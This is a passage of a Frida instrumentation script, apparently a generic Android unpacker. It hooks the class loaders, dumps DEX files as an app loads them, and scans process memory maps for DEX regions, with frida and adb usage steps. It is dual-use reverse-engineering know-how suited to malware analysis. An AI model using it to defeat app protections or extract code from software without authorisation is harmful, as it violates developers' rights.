            DexClassLoader.$init.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.ClassLoader').implementation = function(dexPath, optimizedDirectory, librarySearchPath, parent) {
                console.log("[DexClassLoader] Path: " + dexPath);
                dumpDex(dexPath, "dexclassloader");
                return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent);
            };
            console.log("[+] DexClassLoader hooked");
        } catch (e) {
            console.log("[-] DexClassLoader hook failed: " + e);
        }

        // PathClassLoader
        try {
            var PathClassLoader = Java.use("dalvik.system.PathClassLoader");
            PathClassLoader.$init.overload('java.lang.String', 'java.lang.ClassLoader').implementation = function(dexPath, parent) {
                console.log("[PathClassLoader] Path: " + dexPath);
                dumpDex(dexPath, "pathclassloader");
                return this.$init(dexPath, parent);
            };
            console.log("[+] PathClassLoader hooked");
        } catch (e) {
            console.log("[-] PathClassLoader hook failed: " + e);
        }

        // InMemoryDexClassLoader
        try {
            var InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
            InMemoryDexClassLoader.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader').implementation = function(buffer, parent) {
                console.log("[InMemoryDexClassLoader] Buffer size: " + buffer.remaining());

                // Dump ByteBuffer
                try {
                    var timestamp = Date.now();
                    var destPath = OUTPUT_DIR + "inmemory_" + timestamp + ".dex";
                    var bytes = Java.array('byte', buffer.array());
                    var FileOutputStream = Java.use("java.io.FileOutputStream");
                    var fos = FileOutputStream.$new(destPath);
                    fos.write(bytes);
                    fos.close();
                    console.log("[+] Dumped: " + destPath);
                } catch (e) {
                    console.log("[-] ByteBuffer dump failed: " + e);
                }

                return this.$init(buffer, parent);
            };
            console.log("[+] InMemoryDexClassLoader hooked");
        } catch (e) {
            console.log("[-] InMemoryDexClassLoader hook failed: " + e);
        }

        // DexFile
        try {
            var DexFile = Java.use("dalvik.system.DexFile");
            DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
                console.log("[DexFile] Loading: " + path);
                dumpDex(path, "dexfile");
                return this.loadDex(path);
            };
            console.log("[+] DexFile hooked");
        } catch (e) {
            console.log("[-] DexFile hook failed: " + e);
        }
    }

    // Memory scan for DEX files
    function scanMemoryForDex() {
        console.log("\n[*] Scanning memory for DEX files...");

        // Read /proc/self/maps
        try {
            var BufferedReader = Java.use("java.io.BufferedReader");
            var FileReader = Java.use("java.io.FileReader");
            var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
            var line;
            var count = 0;

            while ((line = reader.readLine()) !== null) {
                if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
                    console.log("[MEM] " + line);
                    count++;
                }
            }

            reader.close();
            console.log("[*] Found " + count + " DEX memory regions");
        } catch (e) {
            console.log("[-] Memory scan failed: " + e);
        }
    }

    // Run detection
    var packers = detectPacker();
    hookClassLoader();

    // Delayed memory scan
    setTimeout(function() {
        scanMemoryForDex();

        console.log("\n[*] Unpacker ready. DEX files will be dumped as they load.");
        console.log("[*] Check " + OUTPUT_DIR + " for dumped files.");
        console.log("[*] Run 'adb pull " + OUTPUT_DIR + " .' after app loads.");
    }, 5000);
});

/*
Usage:
  frida -U -f com.example.app -l generic_unpacker.js

After running:
  1. Let the app fully load
  2. Navigate all screens
  3. Pull dumped files: adb pull /sdcard/unpacked_dex/ .
  4. Analyze with JADX: jadx dumped_dex/classes.dex
*/